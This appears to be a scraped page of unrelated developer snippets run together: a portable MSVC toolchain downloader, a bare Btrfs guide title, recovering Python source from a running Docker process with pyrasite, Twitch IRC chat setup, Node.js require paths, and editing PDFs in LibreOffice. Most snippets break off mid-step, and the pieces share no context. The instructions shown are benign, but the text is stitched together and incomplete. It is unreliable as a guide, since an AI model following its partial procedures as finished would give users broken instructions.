This downloads standalone MSVC compiler, linker & other tools, also headers/libraries from Windows SDK into portable folder, without installing Visual Studio. Has bare minimum components - no UWP/Store/WindowsRT stuff, just files & tools for native desktop app development.

Run py.exe portable-msvc.py and it will download output into msvc folder. By default it will download latest available MSVC & Windows SDK from newest Visual Studio.

You can list available versions with py.exe portable-msvc.py --show-versions and then pass versions you want with --msvc-version and --sdk-version arguments.

To use cl.exe/link.exe first run setup_TARGET.bat - after that PATH/INCLUDE/LIB env variables will be updated to use all the tools as usual. You can also use clang-cl.exe with these includes & libraries.

To use clang-cl.exe without running setup.bat, pass extra /winsysroot msvc argument (msvc is folder name where output is stored).

Encrypted Btrfs storage setup and maintenance guide

How to recover lost Python source code if it's still resident in-memory

I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6

Attach a shell to the docker container

Install GDB (needed by pyrasite)

apt-get update && apt-get install gdb

HOWTO

Connect to Twitch.tv chat with an IRC client

Visit this website and get an OAuth Token for your Twitch account.
Add a server to your IRC client with this configuration, using your OAuth Token as the server password. Make sure it is not using SSL.

{
  address = "irc.twitch.tv";
chatnet = "Twitch";

Better local require() paths for Node.js

Problem

When the directory structure of your Node.js application (not library!) has some depth, you end up with a lot of annoying relative paths in your require calls like:

const Article = require('../../../../app/models/article');

Those suck for maintenance and they're ugly.

	Make a PDF file editable in LibreOffice.

	LibreOffice Draw can import and export PDF files, effectively making it a PDF editor.
	However text in imported documents often looks broken, such as with
	text rendered with a different font and overflowing into the next column.
	What I suspect happens is that PDF files typically embed every font they use,
	but LibreOffice’s internal document model does not support embedded fonts
